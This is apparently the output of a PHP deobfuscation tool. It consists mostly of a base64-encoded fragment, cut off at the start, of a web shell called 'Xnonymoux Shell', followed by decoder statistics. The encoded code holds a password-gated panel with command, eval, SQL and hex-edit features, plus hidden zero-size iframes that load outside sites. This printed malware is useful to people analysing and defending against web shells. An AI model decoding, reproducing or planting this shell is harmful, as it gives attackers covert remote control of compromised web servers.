QgY2xhc3M9J2lucHV0emJ1dCcgdHlwZT0nc3VibWl0JyB2YWx1ZT0nR28gIScgbmFtZT0nc3VibWl0Y21kJyBzdHlsZT0nd2lkdGg6ODBweDsnIC8+PC9ub3NjcmlwdD4NCgkJPC9mb3JtPg0KCQk8L3RkPg0KCQk8L3RyPjwvdGFibGU+DQoJPC9kaXY+DQoJPGRpdiBpZD0nY29udGVudCc+DQoJCTxkaXYgaWQ9J3Jlc3VsdCc+PD9waHAgZWNobyAiX19SRVNVTFRfXyI7ID8+PC9kaXY+DQoJPC9kaXY+DQoJPGRpdiBpZD0nbmF2aWdhdGlvbic+DQoJPGRpdiBpZD0ndG90b3AnIG9uY2xpY2s9J3RvdG9wZCgpOycgb25tb3VzZW92ZXI9J3RvdG9wKCk7JyBvbm1vdXNlb3V0PSdzdG9wc2Nyb2xsKCk7Jz48L2Rpdj4NCgk8ZGl2IGlkPSd0b2JvdHRvbScgb25jbGljaz0ndG9ib3R0b21kKCk7JyBvbm1vdXNlb3Zlcj0ndG9ib3R0b20oKTsnIG9ubW91c2VvdXQ9J3N0b3BzY3JvbGwoKTsnPjwvZGl2Pg0KCTwvZGl2Pg0KPD9waHAgfSBlbHNleyA/Pg0KPGJyPjxicj48YnI+DQoJPGNlbnRlcj48Zm9udCBzaXplPSI2IiBmYWNlPSJTZWdvZSBTY3JpcHQiPkxvZ2luIHRvIFhub255bW91eCBTaGVsbDwvZm9udD48L2NlbnRlcj48YnI+DQoJPGJyPjxicj48YnI+PGJyPjxkaXYgc3R5bGU9J3dpZHRoOjEwMCU7aGVpZ2h0OjMwMCU7dGV4dC1hbGlnbjpjZW50ZXI7JyA+DQoJDQogICAgPGZvcm0gYWN0aW9uPSc8P3BocCBlY2hvICRzX3NlbGY7ID8+JyBtZXRob2Q9J3Bvc3QnPg0KCTxpbWcgc3JjPSc8P3BocCBlY2hvICRzX2ltYWdlOyA/Picgc3R5bGU9J21hcmdpbjoycHg7dmVydGljYWwtYWxpZ246bWlkZGxlOycgLz48YnI+PGJyPg0KCTxpbnB1dCBpZD0nbG9naW5zJyBjbGFzcz0ndGV4dGJveCcgdHlwZT0ndGV4dCcgbmFtZT0nbG9naW5zJyBzdHlsZT0nd2lkdGg6MjAwcHg7ICBoZWlnaHQ6NTBweDsgdGV4dC1hbGlnbjpjZW50ZXI7IGZvbnQtc2l6ZTogMjBweDsgJyB2YWx1ZT0nWG5vbnltb3V4JyBkaXNhYmxlZCAvPjxicj48YnI+DQoJPGlucHV0IGlkPSdsb2dpbicgY2xhc3M9J3RleHRib3gnIHR5cGU9J3Bhc3N3b3JkJyBuYW1lPSdsb2dpbicgc3R5bGU9J3dpZHRoOjIwMHB4OyAgaGVpZ2h0OjUwcHg7IHRleHQtYWxpZ246Y2VudGVyOyBmb250LXNpemU6IDIwcHg7ICcgdmFsdWU9JycgcGxhY2Vob2xkZXI9IlBhc3N3b3JkIiAvPjxicj48YnI+DQoJPGlucHV0IGNsYXNzPSdidXR0b256eicgdHlwZT0nc3VibWl0JyB2YWx1ZT0nTG9naW4nIG5hbWU9J3N1Ym1pdGxvZ2luJyBzdHlsZT0nd2lkdGg6OTBweDsgaGVpZ2h0OjM1cHg7IHRleHQtYWxpZ246Y2VudGVyOyBmb250LXNpemU6IDE1cHg7JyAgLz4NCgk8L2Zvcm0+DQoJPC9kaXY+DQoJPGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj48YnI+PGJyPjxicj4NCgkNCjw/cGhwIH0/Pgk8L3RkPjwvdHI+PC90YWJsZT4NCjxwIGNsYXNzPSdmb290ZXInPjxjZW50ZXI+IDxhIGhyZWY9J2h0dHA6Ly94bm9ueW1vdXgub3JnJyBjb2xvcj0iI2ZmZmZmIiB0aXRsZT0nWG5vbnltb3V4IE9mZmljaWFsIFdlYlNpdGUnPlhub255bW91eC5vcmc8L2E+ICZjb3B5Ozw/cGhwIGVjaG8gQGRhdGUoIlkiLHRpbWUoKSkuIiAiOyA/Plhub255bW91eDwvcD48L2NlbnRlcj4NCg0KPGlmcmFtZSBzcmM9Imh0dHA6Ly94bm9ueW1vdXgub3JnIiAgc3R5bGU9ImRpc3BsYXk6bm9uZTsiIG5hbWU9Inhub24iIGhlaWdodD0iMCIgd2lkdGg9IjAiPjwvaWZyYW1lPg0KPGlmcmFtZSBzcmM9Imh0dHA6Ly94bm9ueW1vdXhvZmZpY2lhbC5ibG9nc3BvdC5jb20iICBzdHlsZT0iZGlzcGxheTpub25lOyIgbmFtZT0ieG5vbngiIGhlaWdodD0iMCIgd2lkdGg9IjAiPjwvaWZyYW1lPg0KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnPg0KdmFyIGQgPSBkb2N1bWVudDsNCnZhciBzY3JvbGwgPSBmYWxzZTsNCnZhciBjd2QgPSAnPD9waHAgZWNobyBoc3MoYWRkcygkc19jd2QpKTsgPz4nOw0KdmFyIGhleHN0YXR1cyA9IGZhbHNlOw0KdmFyIHRpbWVyID0gJyc7DQp2YXIgeCA9ICc8P3BocCBpZihpc3NldCgkX0dQWyd4J10pICYmICgkX0dQWyd4J109PSdwcycpKSBlY2hvICJwcyI7ID8+JzsNCnZhciBzc2VsZiA9ICc8P3BocCBlY2hvIGFkZHMoJHNfc2VsZik7ID8+JzsNCnZhciBoZXhjb3VudGVyID0gMDsNCnZhciBoZXh0aW1lciA9ICcnOw0KdmFyIGNvdW50ZXIgPSAwOw0KDQo8L3NjcmlwdD4NCjw/cGhwIGVjaG8gZ2V0X2NvZGUoImpzIiwgJHNfanMpOyA/Pg0KPHNjcmlwdCB0eXBlPSd0ZXh0L2phdmFzY3JpcHQnPg0KZG9tcmVhZHkoZnVuY3Rpb24oKXsNCgk8P3BocCBpZihpc3NldCgkX0dQWydjbWQnXSkpIGVjaG8gImlmKGQuZ2V0RWxlbWVudEJ5SWQoJ2NtZCcpKSBkLmdldEVsZW1lbnRCeUlkKCdjbWQnKS5mb2N1cygpOyI7ID8+DQoJPD9waHAgaWYoaXNzZXQoJF9HUFsnZXZhbGNvZGUnXSkpIGVjaG8gImlmKGQuZ2V0RWxlbWVudEJ5SWQoJ2V2YWxjb2RlJykpIGQuZ2V0RWxlbWVudEJ5SWQoJ2V2YWxjb2RlJykuZm9jdXMoKTsiOyA/Pg0KCTw/cGhwIGlmKGlzc2V0KCRfR1BbJ3NxbGNvZGUnXSkpIGVjaG8gImlmKGQuZ2V0RWxlbWVudEJ5SWQoJ3NxbGNvZGUnKSkgZC5nZXRFbGVtZW50QnlJZCgnc3FsY29kZScpLmZvY3VzKCk7IjsgPz4NCgk8P3BocCBpZihpc3NldCgkX0dQWydsb2dpbiddKSkgZWNobyAiaWYoZC5nZXRFbGVtZW50QnlJZCgnbG9naW4nKSkgZC5nZXRFbGVtZW50QnlJZCgnbG9naW4nKS5mb2N1cygpOyI7ID8+DQoJPD9waHAgaWYoaXNzZXQoJF9HUFsnaGV4ZWRpdCddKSkgZWNobyAic2hvd2hleCgpOyI7ID8+DQoNCglpZihkLmdldEVsZW1lbnRCeUlkKCdjbWQnKSkgZC5nZXRFbGVtZW50QnlJZCgnY21kJykuc2V0QXR0cmlidXRlKCdhdXRvY29tcGxldGUnLCAnb2ZmJyk7DQoNCgl2YXIgdGV4dGFyZWFzID0gZC5nZXRFbGVtZW50c0J5VGFnTmFtZSgndGV4dGFyZWEnKTsNCgl2YXIgY291bnQgPSB0ZXh0YXJlYXMubGVuZ3RoOw0KCWZvcihpID0gMDsgaTxjb3VudDsgaSsrKXsNCgkJdGV4dGFyZWFzW2ldLm9ua2V5ZG93biA9IGZ1bmN0aW9uKGUpew0KCQkJaWYoZS5rZXlDb2RlPT05KXsNCgkJCQllLnByZXZlbnREZWZhdWx0KCk7DQoJCQkJdmFyIHMgPSB0aGlzLnNlbGVjdGlvblN0YXJ0Ow0KCQkJCXRoaXMudmFsdWUgPSB0aGlzLnZhbHVlLnN1YnN0cmluZygwLHRoaXMuc2VsZWN0aW9uU3RhcnQpICsgIlx0IiArIHRoaXMudmFsdWUuc3Vic3RyaW5nKHRoaXMuc2VsZWN0aW9uRW5kKTsNCgkJCQl0aGlzLnNlbGVjdGlvbkVuZCA9IHMrMTsNCgkJCX0NCgkJCWVsc2UgaWYoZS5jdHJsS2V5ICYmIChlLmtleUNvZGUgPT0gMTAgfHwgZS5rZXlDb2RlID09IDEzKSl7DQoJCQkJdGhpcy5mb3JtLnN1Ym1pdCgpOw0KCQkJfQ0KCQl9DQoJfQ0KCWxpc3RlbigpOw0KfSk7DQo8L3NjcmlwdD4NCjwvYm9keT4NCjwvaHRtbD48P3BocA0KJHNfaHRtbCA9IG9iX2dldF9jb250ZW50cygpOw0Kb2JfZW5kX2NsZWFuKCk7DQokd2hpdGVzcGFjZSA9ICIvKFxzezIsfXxcbnsxLH0pLyI7DQokc19odG1sID0gcHJlZ19yZXBsYWNlKCR3aGl0ZXNwYWNlLCAiICIsICRzX2h0bWwpOw0KJHNfaHRtbCA9IHN0cl9yZXBsYWNlKCJfX1JFU1VMVF9fIiwgJHNfcmVzdWx0LCAkc19odG1sKTsNCmVjaG8gJHNfaHRtbDsNCmRpZSgpOw0KPz4=")); ?>
Function Calls
base64_decode | 1 |
Stats
MD5 | 4618a0469bf2cb2ca8a49fcd337ef463 |
Eval Count | 1 |
Decode Time | 452 ms |